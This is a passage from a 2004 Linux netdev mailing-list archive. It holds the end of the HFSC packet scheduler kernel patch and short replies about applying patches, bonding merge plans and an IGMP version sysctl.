= 0; + } + cl->cl_flags |= HFSC_RSC; +} + +static void +hfsc_change_fsc(struct hfsc_class *cl, struct tc_service_curve *fsc) +{ + sc2isc(fsc, &cl->cl_fsc); + rtsc_init(&cl->cl_virtual, &cl->cl_fsc, cl->cl_vt, cl->cl_total); + cl->cl_flags |= HFSC_FSC; +} + +static void +hfsc_change_usc(struct hfsc_class *cl, struct tc_service_curve *usc, + u_int64_t cur_time) +{ + sc2isc(usc, &cl->cl_usc); + rtsc_init(&cl->cl_ulimit, &cl->cl_usc, cur_time, cl->cl_total); + cl->cl_flags |= HFSC_USC; +} + +static int +hfsc_change_class(struct Qdisc *sch, u_int32_t classid, u_int32_t parentid, + struct rtattr **tca, unsigned long *arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = (struct hfsc_class *)*arg; + struct hfsc_class *parent = NULL; + struct rtattr *opt = tca[TCA_OPTIONS-1]; + struct rtattr *tb[TCA_HFSC_MAX]; + struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL; + u_int64_t cur_time; + + if (opt == NULL || + rtattr_parse(tb, TCA_HFSC_MAX, RTA_DATA(opt), RTA_PAYLOAD(opt))) + return -EINVAL; + + if (tb[TCA_HFSC_RSC-1]) { + if (RTA_PAYLOAD(tb[TCA_HFSC_RSC-1]) < sizeof(*rsc)) + return -EINVAL; + rsc = RTA_DATA(tb[TCA_HFSC_RSC-1]); + if (rsc->m1 == 0 && rsc->m2 == 0) + rsc = NULL; + } + + if (tb[TCA_HFSC_FSC-1]) { + if (RTA_PAYLOAD(tb[TCA_HFSC_FSC-1]) < sizeof(*fsc)) + return -EINVAL; + fsc = RTA_DATA(tb[TCA_HFSC_FSC-1]); + if (fsc->m1 == 0 && fsc->m2 == 0) + fsc = NULL; + } + + if (tb[TCA_HFSC_USC-1]) { + if (RTA_PAYLOAD(tb[TCA_HFSC_USC-1]) < sizeof(*usc)) + return -EINVAL; + usc = RTA_DATA(tb[TCA_HFSC_USC-1]); + if (usc->m1 == 0 && usc->m2 == 0) + usc = NULL; + } + + if (cl != NULL) { + if (parentid) { + if (cl->cl_parent && cl->cl_parent->classid != parentid) + return -EINVAL; + if (cl->cl_parent == NULL && parentid != TC_H_ROOT) + return -EINVAL; + } + PSCHED_GET_TIME(cur_time); + + sch_tree_lock(sch); + if (rsc != NULL) + hfsc_change_rsc(cl, rsc, cur_time); + if (fsc != NULL) + hfsc_change_fsc(cl, fsc); + if (usc != NULL) + hfsc_change_usc(cl, usc, cur_time); + + if (cl->qdisc->q.qlen != 0) { + if (cl->cl_flags & HFSC_RSC) + update_ed(cl, qdisc_peek_len(cl->qdisc)); + if (cl->cl_flags & HFSC_FSC) + update_vf(cl, 0, cur_time); + } + sch_tree_unlock(sch); + +#ifdef CONFIG_NET_ESTIMATOR + if (tca[TCA_RATE-1]) { + qdisc_kill_estimator(&cl->stats); + qdisc_new_estimator(&cl->stats, tca[TCA_RATE-1]); + } +#endif + return 0; + } + + if (parentid == TC_H_ROOT) + return -EEXIST; + + parent = &q->root; + if (parentid) { + parent = hfsc_find_class(parentid, sch); + if (parent == NULL) + return -ENOENT; + } + + if (classid == 0 || TC_H_MAJ(classid ^ sch->handle) != 0) + return -EINVAL; + if (hfsc_find_class(classid, sch)) + return -EEXIST; + + if (rsc == NULL && fsc == NULL) + return -EINVAL; + + cl = kmalloc(sizeof(struct hfsc_class), GFP_KERNEL); + if (cl == NULL) + return -ENOBUFS; + memset(cl, 0, sizeof(struct hfsc_class)); + + if (rsc != NULL) + hfsc_change_rsc(cl, rsc, 0); + if (fsc != NULL) + hfsc_change_fsc(cl, fsc); + if (usc != NULL) + hfsc_change_usc(cl, usc, 0); + + cl->refcnt = 1; + cl->classid = classid; + cl->sched = q; + cl->cl_parent = parent; + cl->qdisc = qdisc_create_dflt(sch->dev, &pfifo_qdisc_ops); + if (cl->qdisc == NULL) + cl->qdisc = &noop_qdisc; + cl->stats.lock = &sch->dev->queue_lock; + INIT_LIST_HEAD(&cl->children); + INIT_LIST_HEAD(&cl->actlist); + + sch_tree_lock(sch); + list_add_tail(&cl->hlist, &q->clhash[hfsc_hash(classid)]); + list_add_tail(&cl->siblings, &parent->children); + if (parent->level == 0) + hfsc_purge_queue(sch, parent); + hfsc_adjust_levels(parent); + sch_tree_unlock(sch); + +#ifdef CONFIG_NET_ESTIMATOR + if (tca[TCA_RATE-1]) + qdisc_new_estimator(&cl->stats, tca[TCA_RATE-1]); +#endif + *arg = (unsigned long)cl; + return 0; +} + +static void +hfsc_destroy_filters(struct tcf_proto **fl) +{ + struct tcf_proto *tp; + + while ((tp = *fl) != NULL) { + *fl = tp->next; + tcf_destroy(tp); + } +} + +static void +hfsc_destroy_class(struct Qdisc *sch, struct hfsc_class *cl) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + + hfsc_destroy_filters(&cl->filter_list); + qdisc_destroy(cl->qdisc); +#ifdef CONFIG_NET_ESTIMATOR + qdisc_kill_estimator(&cl->stats); +#endif + if (cl != &q->root) + kfree(cl); +} + +static int +hfsc_delete_class(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl->level > 0 || cl->filter_cnt > 0 || cl == &q->root) + return -EBUSY; + + sch_tree_lock(sch); + + list_del(&cl->hlist); + list_del(&cl->siblings); + hfsc_adjust_levels(cl->cl_parent); + hfsc_purge_queue(sch, cl); + if (q->last_xmit == cl) + q->last_xmit = NULL; + + if (--cl->refcnt == 0) + hfsc_destroy_class(sch, cl); + + sch_tree_unlock(sch); + return 0; +} + +static struct hfsc_class * +hfsc_classify(struct sk_buff *skb, struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + struct tcf_result res; + struct tcf_proto *tcf; + int result; + + if (TC_H_MAJ(skb->priority ^ sch->handle) == 0 && + (cl = hfsc_find_class(skb->priority, sch)) != NULL) + if (cl->level == 0) + return cl; + + tcf = q->root.filter_list; + while (tcf && (result = tc_classify(skb, tcf, &res)) >= 0) { +#ifdef CONFIG_NET_CLS_POLICE + if (result == TC_POLICE_SHOT) + return NULL; +#endif + if ((cl = (struct hfsc_class *)res.class) == NULL) { + if ((cl = hfsc_find_class(res.classid, sch)) == NULL) + break; /* filter selected invalid classid */ + } + + if (cl->level == 0) + return cl; /* hit leaf class */ + + /* apply inner filter chain */ + tcf = cl->filter_list; + } + + /* classification failed, try default class */ + cl = hfsc_find_class(TC_H_MAKE(TC_H_MAJ(sch->handle), q->defcls), sch); + if (cl == NULL || cl->level > 0) + return NULL; + + return cl; +} + +static int +hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new, + struct Qdisc **old) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl == NULL) + return -ENOENT; + if (cl->level > 0) + return -EINVAL; + if (new == NULL) { + new = qdisc_create_dflt(sch->dev, &pfifo_qdisc_ops); + if (new == NULL) + new = &noop_qdisc; + } + + sch_tree_lock(sch); + hfsc_purge_queue(sch, cl); + *old = xchg(&cl->qdisc, new); + sch_tree_unlock(sch); + return 0; +} + +static struct Qdisc * +hfsc_class_leaf(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl != NULL && cl->level == 0) + return cl->qdisc; + + return NULL; +} + +static unsigned long +hfsc_get_class(struct Qdisc *sch, u_int32_t classid) +{ + struct hfsc_class *cl = hfsc_find_class(classid, sch); + + if (cl != NULL) + cl->refcnt++; + + return (unsigned long)cl; +} + +static void +hfsc_put_class(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (--cl->refcnt == 0) + hfsc_destroy_class(sch, cl); +} + +static unsigned long +hfsc_bind_tcf(struct Qdisc *sch, unsigned long parent, u_int32_t classid) +{ + struct hfsc_class *p = (struct hfsc_class *)parent; + struct hfsc_class *cl = hfsc_find_class(classid, sch); + + if (cl != NULL) { + if (p != NULL && p->level <= cl->level) + return 0; + cl->filter_cnt++; + } + + return (unsigned long)cl; +} + +static void +hfsc_unbind_tcf(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + + cl->filter_cnt--; +} + +static struct tcf_proto ** +hfsc_tcf_chain(struct Qdisc *sch, unsigned long arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = (struct hfsc_class *)arg; + + if (cl == NULL) + cl = &q->root; + + return &cl->filter_list; +} + +static int +hfsc_dump_sc(struct sk_buff *skb, int attr, struct internal_sc *sc) +{ + struct tc_service_curve tsc; + + tsc.m1 = sm2m(sc->sm1); + tsc.d = dx2d(sc->dx); + tsc.m2 = sm2m(sc->sm2); + RTA_PUT(skb, attr, sizeof(tsc), &tsc); + + return skb->len; + + rtattr_failure: + return -1; +} + +static inline int +hfsc_dump_curves(struct sk_buff *skb, struct hfsc_class *cl) +{ + if ((cl->cl_flags & HFSC_RSC) && + (hfsc_dump_sc(skb, TCA_HFSC_RSC, &cl->cl_rsc) < 0)) + goto rtattr_failure; + + if ((cl->cl_flags & HFSC_FSC) && + (hfsc_dump_sc(skb, TCA_HFSC_FSC, &cl->cl_fsc) < 0)) + goto rtattr_failure; + + if ((cl->cl_flags & HFSC_USC) && + (hfsc_dump_sc(skb, TCA_HFSC_USC, &cl->cl_usc) < 0)) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + return -1; +} + +static inline int +hfsc_dump_stats(struct sk_buff *skb, struct hfsc_class *cl) +{ + cl->stats.qlen = cl->qdisc->q.qlen; + if (qdisc_copy_stats(skb, &cl->stats) < 0) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + return -1; +} + +static inline int +hfsc_dump_xstats(struct sk_buff *skb, struct hfsc_class *cl) +{ + struct tc_hfsc_stats xstats; + + xstats.level = cl->level; + xstats.period = cl->cl_vtperiod; + xstats.work = cl->cl_total; + xstats.rtwork = cl->cl_cumul; + RTA_PUT(skb, TCA_XSTATS, sizeof(xstats), &xstats); + + return skb->len; + + rtattr_failure: + return -1; +} + +static int +hfsc_dump_class(struct Qdisc *sch, unsigned long arg, struct sk_buff *skb, + struct tcmsg *tcm) +{ + struct hfsc_class *cl = (struct hfsc_class *)arg; + unsigned char *b = skb->tail; + struct rtattr *rta = (struct rtattr *)b; + + tcm->tcm_parent = cl->cl_parent ? cl->cl_parent->classid : TC_H_ROOT; + tcm->tcm_handle = cl->classid; + if (cl->level == 0) + tcm->tcm_info = cl->qdisc->handle; + + RTA_PUT(skb, TCA_OPTIONS, 0, NULL); + if (hfsc_dump_curves(skb, cl) < 0) + goto rtattr_failure; + rta->rta_len = skb->tail - b; + + if ((hfsc_dump_stats(skb, cl) < 0) || + (hfsc_dump_xstats(skb, cl) < 0)) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static void +hfsc_walk(struct Qdisc *sch, struct qdisc_walker *arg) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + unsigned int i; + + if (arg->stop) + return; + + for (i = 0; i < HFSC_HSIZE; i++) { + list_for_each_entry(cl, &q->clhash[i], hlist) { + if (arg->count < arg->skip) { + arg->count++; + continue; + } + if (arg->fn(sch, (unsigned long)cl, arg) < 0) { + arg->stop = 1; + return; + } + arg->count++; + } + } +} + +static void +hfsc_watchdog(unsigned long arg) +{ + struct Qdisc *sch = (struct Qdisc *)arg; + + sch->flags &= ~TCQ_F_THROTTLED; + netif_schedule(sch->dev); +} + +static void +hfsc_schedule_watchdog(struct Qdisc *sch, u_int64_t cur_time) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + u_int64_t next_time = 0; + long delay; + + if ((cl = ellist_get_minel(&q->eligible)) != NULL) + next_time = cl->cl_e; + if (q->root.cl_cfmin != 0) { + if (next_time == 0 || next_time > q->root.cl_cfmin) + next_time = q->root.cl_cfmin; + } + ASSERT(next_time != 0); + delay = next_time - cur_time; + delay = PSCHED_US2JIFFIE(delay); + + sch->flags |= TCQ_F_THROTTLED; + mod_timer(&q->wd_timer, jiffies + delay); +} + +static int +hfsc_init_qdisc(struct Qdisc *sch, struct rtattr *opt) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct tc_hfsc_qopt *qopt; + unsigned int i; + + if (opt == NULL || RTA_PAYLOAD(opt) < sizeof(*qopt)) + return -EINVAL; + qopt = RTA_DATA(opt); + + memset(q, 0, sizeof(struct hfsc_sched)); + sch->stats.lock = &sch->dev->queue_lock; + + q->defcls = qopt->defcls; + for (i = 0; i < HFSC_HSIZE; i++) + INIT_LIST_HEAD(&q->clhash[i]); + INIT_LIST_HEAD(&q->eligible); + INIT_LIST_HEAD(&q->droplist); + + q->root.refcnt = 1; + q->root.classid = sch->handle; + q->root.sched = q; + q->root.qdisc = qdisc_create_dflt(sch->dev, &pfifo_qdisc_ops); + if (q->root.qdisc == NULL) + q->root.qdisc = &noop_qdisc; + q->root.stats.lock = &sch->dev->queue_lock; + INIT_LIST_HEAD(&q->root.children); + INIT_LIST_HEAD(&q->root.actlist); + + list_add(&q->root.hlist, &q->clhash[hfsc_hash(q->root.classid)]); + + init_timer(&q->wd_timer); + q->wd_timer.function = hfsc_watchdog; + q->wd_timer.data = (unsigned long)sch; + + MOD_INC_USE_COUNT; + return 0; +} + +static int +hfsc_change_qdisc(struct Qdisc *sch, struct rtattr *opt) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct tc_hfsc_qopt *qopt; + + if (opt == NULL || RTA_PAYLOAD(opt) < sizeof(*qopt)) + return -EINVAL;; + qopt = RTA_DATA(opt); + + sch_tree_lock(sch); + q->defcls = qopt->defcls; + sch_tree_unlock(sch); + + return 0; +} + +static void +hfsc_reset_class(struct hfsc_class *cl) +{ + cl->cl_total = 0; + cl->cl_cumul = 0; + cl->cl_d = 0; + cl->cl_e = 0; + cl->cl_vt = 0; + cl->cl_vtadj = 0; + cl->cl_vtoff = 0; + cl->cl_cvtmin = 0; + cl->cl_cvtmax = 0; + cl->cl_vtperiod = 0; + cl->cl_parentperiod = 0; + cl->cl_f = 0; + cl->cl_myf = 0; + cl->cl_myfadj = 0; + cl->cl_cfmin = 0; + cl->cl_nactive = 0; + INIT_LIST_HEAD(&cl->actlist); + qdisc_reset(cl->qdisc); + + if (cl->cl_flags & HFSC_RSC) + rtsc_init(&cl->cl_deadline, &cl->cl_rsc, 0, 0); + if (cl->cl_flags & HFSC_FSC) + rtsc_init(&cl->cl_virtual, &cl->cl_fsc, 0, 0); + if (cl->cl_flags & HFSC_USC) + rtsc_init(&cl->cl_ulimit, &cl->cl_usc, 0, 0); +} + +static void +hfsc_reset_qdisc(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + unsigned int i; + + for (i = 0; i < HFSC_HSIZE; i++) { + list_for_each_entry(cl, &q->clhash[i], hlist) + hfsc_reset_class(cl); + } + + INIT_LIST_HEAD(&q->eligible); + INIT_LIST_HEAD(&q->droplist); + q->last_xmit = NULL; + del_timer(&q->wd_timer); + sch->flags &= ~TCQ_F_THROTTLED; + sch->q.qlen = 0; +} + +static void +hfsc_destroy_qdisc(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl, *next; + unsigned int i; + + for (i = 0; i < HFSC_HSIZE; i++) { + list_for_each_entry_safe(cl, next, &q->clhash[i], hlist) + hfsc_destroy_class(sch, cl); + } + + del_timer(&q->wd_timer); + MOD_DEC_USE_COUNT; +} + +static int +hfsc_dump_qdisc(struct Qdisc *sch, struct sk_buff *skb) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + unsigned char *b = skb->tail; + struct tc_hfsc_qopt qopt; + + qopt.defcls = q->defcls; + RTA_PUT(skb, TCA_OPTIONS, sizeof(qopt), &qopt); + + sch->stats.qlen = sch->q.qlen; + if (qdisc_copy_stats(skb, &sch->stats) < 0) + goto rtattr_failure; + + return skb->len; + + rtattr_failure: + skb_trim(skb, b - skb->data); + return -1; +} + +static int +hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct hfsc_class *cl = hfsc_classify(skb, sch); + unsigned int len = skb->len; + int err; + + if (cl == NULL) { + kfree_skb(skb); + sch->stats.drops++; + return NET_XMIT_DROP; + } + + err = cl->qdisc->enqueue(skb, cl->qdisc); + if (unlikely(err != NET_XMIT_SUCCESS)) { + cl->stats.drops++; + sch->stats.drops++; + return err; + } + + if (cl->qdisc->q.qlen == 1) + set_active(cl, len); + + cl->stats.packets++; + cl->stats.bytes += len; + sch->stats.packets++; + sch->stats.bytes += len; + sch->q.qlen++; + + return NET_XMIT_SUCCESS; +} + +static struct sk_buff * +hfsc_dequeue(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + struct sk_buff *skb; + u_int64_t cur_time; + unsigned int next_len; + int realtime = 0; + + if (sch->q.qlen == 0) + return NULL; + + PSCHED_GET_TIME(cur_time); + + /* + * if there are eligible classes, use real-time criteria. + * find the class with the minimum deadline among + * the eligible classes. + */ + if ((cl = ellist_get_mindl(&q->eligible, cur_time)) != NULL) { + realtime = 1; + } else { + /* + * use link-sharing criteria + * get the class with the minimum vt in the hierarchy + */ + cl = actlist_get_minvt(&q->root, cur_time); + if (cl == NULL) { + sch->stats.overlimits++; + if (!netif_queue_stopped(sch->dev)) + hfsc_schedule_watchdog(sch, cur_time); + return NULL; + } + } + + skb = cl->qdisc->dequeue(cl->qdisc); + if (skb == NULL) { + if (net_ratelimit()) + printk("HFSC: Non-work-conserving qdisc ?\n"); + return NULL; + } + + update_vf(cl, skb->len, cur_time); + if (realtime) + cl->cl_cumul += skb->len; + + if (cl->qdisc->q.qlen != 0) { + if (cl->cl_flags & HFSC_RSC) { + /* update ed */ + next_len = qdisc_peek_len(cl->qdisc); + if (realtime) + update_ed(cl, next_len); + else + update_d(cl, next_len); + } + } else { + /* the class becomes passive */ + set_passive(cl); + } + + q->last_xmit = cl; + sch->flags &= ~TCQ_F_THROTTLED; + sch->q.qlen--; + + return skb; +} + +static int +hfsc_requeue(struct sk_buff *skb, struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl = q->last_xmit; + unsigned int len = skb->len; + int ret; + + if (cl == NULL) { + kfree_skb(skb); + sch->stats.drops++; + return NET_XMIT_DROP; + } + + ret = cl->qdisc->ops->requeue(skb, cl->qdisc); + if (ret == NET_XMIT_SUCCESS) { + if (cl->qdisc->q.qlen == 1) + set_active(cl, len); + sch->q.qlen++; + } else { + cl->stats.drops++; + sch->stats.drops++; + } + q->last_xmit = NULL; + + return ret; +} + +static unsigned int +hfsc_drop(struct Qdisc *sch) +{ + struct hfsc_sched *q = (struct hfsc_sched *)sch->data; + struct hfsc_class *cl; + unsigned int len; + + list_for_each_entry(cl, &q->droplist, dlist) { + if (cl->qdisc->ops->drop != NULL && + (len = cl->qdisc->ops->drop(cl->qdisc)) > 0) { + if (cl->qdisc->q.qlen == 0) { + update_vf(cl, 0, 0); + set_passive(cl); + } else { + list_move_tail(&cl->dlist, &q->droplist); + } + cl->stats.drops++; + sch->stats.drops++; + sch->q.qlen--; + return len; + } + } + return 0; +} + +static struct Qdisc_class_ops hfsc_class_ops = { + .change = hfsc_change_class, + .delete = hfsc_delete_class, + .graft = hfsc_graft_class, + .leaf = hfsc_class_leaf, + .get = hfsc_get_class, + .put = hfsc_put_class, + .bind_tcf = hfsc_bind_tcf, + .unbind_tcf = hfsc_unbind_tcf, + .tcf_chain = hfsc_tcf_chain, + .dump = hfsc_dump_class, + .walk = hfsc_walk +}; + +struct Qdisc_ops hfsc_qdisc_ops = { + .id = "hfsc", + .init = hfsc_init_qdisc, + .change = hfsc_change_qdisc, + .reset = hfsc_reset_qdisc, + .destroy = hfsc_destroy_qdisc, + .dump = hfsc_dump_qdisc, + .enqueue = hfsc_enqueue, + .dequeue = hfsc_dequeue, + .requeue = hfsc_requeue, + .drop = hfsc_drop, + .cl_ops = &hfsc_class_ops, + .priv_size = sizeof(struct hfsc_sched) +}; + +static int __init +hfsc_init(void) +{ + return register_qdisc(&hfsc_qdisc_ops); +} + +static void __exit +hfsc_cleanup(void) +{ + unregister_qdisc(&hfsc_qdisc_ops); +} + +MODULE_LICENSE("GPL"); +module_init(hfsc_init); +module_exit(hfsc_cleanup); --------------080808070409000108080707-- From jgarzik@pobox.com Thu Jan 29 07:26:51 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 07:26:54 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TFQo7J021539 for ; Thu, 29 Jan 2004 07:26:51 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:48782 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AkyJS-0001yB-NT; Mon, 26 Jan 2004 04:25:26 +0000 Message-ID: <401496AA.4000404@pobox.com> Date: Sun, 25 Jan 2004 23:25:14 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Randy.Dunlap" CC: netdev@oss.sgi.com, ogasawara@osdl.org Subject: Re: [janitor] depca: release resources on errors References: <20040124223109.1c134ca1.rddunlap@osdl.org> <4013F096.4090705@pobox.com> <20040125193017.450d6ff8.rddunlap@osdl.org> In-Reply-To: <20040125193017.450d6ff8.rddunlap@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2889 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 621 Lines: 25 Randy.Dunlap wrote: > On Sun, 25 Jan 2004 11:36:38 -0500 Jeff Garzik wrote: > > | Most of these patches you're sending are already in netdev-2.6, AFAICS... > > > net: remove unnecessary type casting -- not found in netdev I applied this one > tc35815: handle ioremap() failure -- still missed (*Leann) dev->base_addr = (unsigned long)ioremap(base_addr, sizeof(struct tc35815_regs)); if (!dev->base_addr) { ret = -ENOMEM; goto err_out; } > dgrs: add iounmap()s to failure paths -- still missed (*Leann) this wants fixing as well From davem@redhat.com Thu Jan 29 12:13:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 12:13:55 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TKDp7J006385 for ; Thu, 29 Jan 2004 12:13:51 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0TKDmb03360; Thu, 29 Jan 2004 15:13:48 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0TKDma30227; Thu, 29 Jan 2004 15:13:48 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0TKDLkC016449; Thu, 29 Jan 2004 15:13:22 -0500 Date: Thu, 29 Jan 2004 12:13:47 -0800 From: "David S. Miller" To: Patrick McHardy Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: [PATCH 2.6]: HFSC packet scheduler Message-Id: <20040129121347.5b715047.davem@redhat.com> In-Reply-To: <401923B8.7030909@trash.net> References: <401923B8.7030909@trash.net> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2890 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 309 Lines: 9 On Thu, 29 Jan 2004 16:16:08 +0100 Patrick McHardy wrote: > This is the 2.6 version of HFSC. Changes to last patch: > > - don't crash on user error (non-work-conserving inner qdisc) > - trailing whitespace cleanup Ok applied. I did a s/u_intX_t/uX/ in sch_hfsc.c, I hope you don't mind. From jgarzik@pobox.com Thu Jan 29 12:25:15 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 12:25:19 -0800 (PST) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TKPE7J009921 for ; Thu, 29 Jan 2004 12:25:15 -0800 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:49120 helo=pobox.com) by www.linux.org.uk with asmtp (TLSv1:AES256-SHA:256) (Exim 4.22) id 1AlAlN-0006qF-JR; Mon, 26 Jan 2004 17:43:05 +0000 Message-ID: <4015519D.5080803@pobox.com> Date: Mon, 26 Jan 2004 12:42:53 -0500 From: Jeff Garzik User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030703 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Shmuel Hen CC: "David S. Miller" , netdev@oss.sgi.com, bonding-devel@lists.sourceforge.net Subject: Re: [PATCH 3/6][8021q][2.4] Use VLAN tag set functionality in 8021q module References: <200401261522.14126.shmulik.hen@intel.com> In-Reply-To: <200401261522.14126.shmulik.hen@intel.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 2891 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 855 Lines: 25 Shmuel Hen wrote: > Also, speaking of the bonding changes queued in netdev-2.4, some of > those have been queued there since 2.4.23 came out. Will those be > pushed to Marcelo during 2.4.25 or do you intend to hold them until > 2.4.26-preX starts? Sounds like DaveM and I will need to coordinate a bit, then. Queued bonding stuff for 2.4: Marcelo wanted to wait until 2.4.25 release, so they will go to Marcelo for 2.4.26-pre1. Queued bonding stuff for 2.6: Similar picture. Waiting for 2.6.2 release, then it goes to Andrew/Linus. Note that at some point, IMO you need to plan on 2.6-only development, since keeping bonding the same in 2.4 and 2.6 -through ABI changes- may not be feasible past the short term. 2.4 developmnent is intentionally slowing down on Marcelo's side, even though vendors are still shipping 2.4.x stuff. Jeff From davem@redhat.com Thu Jan 29 14:36:56 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 14:37:00 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TMau7J015191 for ; Thu, 29 Jan 2004 14:36:56 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i0TMatb28223; Thu, 29 Jan 2004 17:36:55 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i0TMata22633; Thu, 29 Jan 2004 17:36:55 -0500 Received: from cheetah (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i0TMaEkC023740; Thu, 29 Jan 2004 17:36:28 -0500 Date: Thu, 29 Jan 2004 14:36:39 -0800 From: "David S. Miller" To: David Stevens Cc: netdev@oss.sgi.com Subject: Re: sysctl variable to force IGMP version [PATCH] Message-Id: <20040129143639.768d2f5f.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2892 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 344 Lines: 10 On Wed, 28 Jan 2004 20:51:32 -0800 David Stevens wrote: > As it is, it doesn't hurt anything if you set it to "47"-- it'll use > IGMPv1 if it's set to "1", IGMPv2 if it's set to "2" and IGMPv3 (default) > for all other values. Ok, the existing patch is fine then. Can you cook up a 2.4.x one too? Thanks David. From c-d.hailfinger.kernel.2004@gmx.net Thu Jan 29 14:38:20 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 29 Jan 2004 14:38:23 -0800 (PST) Received: from mail.gmx.net (pop.gmx.de [213.165.64.20]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0TMcI7J015500 for ; Thu, 29 Jan 